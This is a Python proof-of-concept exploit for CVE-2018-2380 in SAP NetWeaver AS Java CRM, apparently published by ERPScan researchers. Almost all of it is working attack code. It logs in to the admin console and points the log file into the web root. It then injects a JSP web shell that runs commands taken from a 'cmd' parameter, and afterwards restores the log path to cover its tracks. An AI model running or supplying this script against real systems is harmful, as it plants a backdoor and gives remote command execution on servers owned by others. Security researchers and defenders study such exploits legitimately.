SAP NetWeaver AS JAVA CRM log injection remote command execution exploit.
426c32cc9743c586acb60e5d9860dec9
#!/usr/bin/env python
import argparse
import urllib
import requests, random
from bs4 import BeautifulSoup
from requests.packages.urllib3.exceptions import InsecureRequestWarning
requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
help_desc = '''
PoC of Remote Command Execution via Log injection on SAP CRM
-- ERPScan
python crm_rce.py --ssl --host 127.0.0.1 --port 50000 --username administrator --password 06071992 --SID DM0 --ssl true
'''
baner = '''
_______ _______ _______ _______ _______ _______ _
( ____ \( ____ )( ____ )( ____ \( ____ \( ___ )( ( /|
| ( \/| ( )|| ( )|| ( \/| ( \/| ( ) || \ ( |
| (__ | (____)|| (____)|| (_____ | | | (___) || \ | |
| __) | __)| _____)(_____ )| | | ___ || (\ \) |
| ( | (\ ( | ( ) || | | ( ) || | \ |
| (____/\| ) \ \__| ) /\____) || (____/\| ) ( || ) \ |
(_______/|/ \__/|/ \_______)(_______/|/ \||/ )_)
Vahagn @vah_13 Vardanian
Bob @NewFranny
CVE-2018-2380
'''
def start(ip, port, username, password, sid, ssl):
if ssl == None:
base_scheme = 'http'
else:
base_scheme = 'https'
req_adapter = requests.session()
_server_ip_port = "{0}:{1}".format(ip, port)
_username = username
admin_password = password
_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:58.0) Gecko/20100101 Firefox/58.0",
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
"Referer": "{0}://{1}/b2b/admin/logging.jsp?location=com.sap.isa&mode=edit&index=1".format(
base_scheme,_server_ip_port)
}
# shell name
_shell_name = "ERPScan_shell_{0}".format(random.randint(1337, 31337))
# shell_code
shell_code = '''
<%@ page import="java.util.*,java.io.*"%>
<%
if (request.getParameter("cmd") != null) {
out.println("Command: " + request.getParameter("cmd") + "<BR>");
Process p = Runtime.getRuntime().exec(request.getParameter("cmd"));
OutputStream os = p.getOutputStream();
InputStream in = p.getInputStream();
DataInputStream dis = new DataInputStream(in);
String disr = dis.readLine();
while ( disr != null ) {
out.println(disr);
disr = dis.readLine();
}
}
%>
'''
# urls variables
_irj_portal = "{0}://{1}/irj/portal".format(base_scheme,_server_ip_port)
_b2b_admin_url = "{0}://{1}/b2b/admin/index.jsp".format(base_scheme,_server_ip_port)
_url_of_log_path = "{0}://{1}/b2b/admin/logging.jsp".format(base_scheme,_server_ip_port)
_url_write_shell_to_log_file = "{0}://{1}/b2b/init.do?\"%22]{2}[%22\"".format(base_scheme,_server_ip_port,urllib.quote_plus(shell_code))
# data variable
_post_data_restore_log_path = {"selConfigName": "com.sap.isa",
"selSeverity": "0",
"selDest": "./default_log_name.log",
"selLimit": "10485760",
"selCount": "20",
"selFormatterType": "ListFormat",
"selPattern": "none",
"mode": "save",
"selLocationIdx": "1"}
_post_data_to_change_log_path = {"selConfigName": "com.sap.isa",
"selSeverity": "0",
"selDest": "C:\\usr\\sap\\{0}\\J00\\j2ee\\cluster\\apps\\sap.com\\com.sap.engine.docs.examples\\servlet_jsp\\_default\\root\\{1}.jsp".format(sid, _shell_name),
"selLimit": "10485760",
"selCount": "20",
"selFormatterType": "ListFormat",
"selPattern": "none",
"mode": "save",
"selLocationIdx": "1"}
print("{0} \n[!] Try to get RCE using log injection ".format(baner))
print("[!] Get j_salt token for requests")
res = requests.get(_irj_portal, headers=_headers, verify=False)
soup = BeautifulSoup(res.text, "html.parser")
e = soup.find("input", {"name": "j_salt"})
__j_salt = e['value']
print("[!] Login to the SAP portal")
req_adapter.post(_b2b_admin_url,
headers=_headers,
data={"login_submit": "on", "login_do_redirect": "1", "j_salt": __j_salt,
"j_username": "{0}".format(_username), "j_password": "{0}".format(admin_password),
"uidPasswordLogon": "Log On"}, verify=False)
print("[!] Change log path ")
req_adapter.post(_url_of_log_path, headers=_headers, data=_post_data_to_change_log_path)
print("[!] Upload \"Runtime.getRuntime().exec(request.getParameter(\"cmd\")) \" shell to {0}://{1}/{2}.0.jsp?cmd=ipconfig".format(base_scheme,_server_ip_port, _shell_name))
req_adapter.get(_url_write_shell_to_log_file, headers=_headers)
print("[!] Restore logs path to ./default_log_name.log")
req_adapter.post(_url_of_log_path, headers=_headers, data=_post_data_restore_log_path)
print("[!] Enjoy!")
if __name__ == "__main__":
parser = argparse.ArgumentParser(description=help_desc, formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('-H', '--host', default='127.0.0.1', help='SAP host to send requests to')
parser.add_argument('-p', '--port', default=50000, type=int, help='SAP host port')
parser.add_argument('-u', '--username', help='SAP CRM administrator')
parser.add_argument('-pwd', '--password', help='SAP CRM administrator password')
parser.add_argument('-s', '--SID', help='SAP SID')
parser.add_argument('-S', '--ssl', help='Use ssl connection')
args = parser.parse_args()
args_dict = vars(args)
host = args_dict['host']
port = args_dict['port']
username = args_dict['username']
password = args_dict['password']
sid = args_dict['SID']
ssl = args.ssl
start(host, port, username, password, sid, ssl)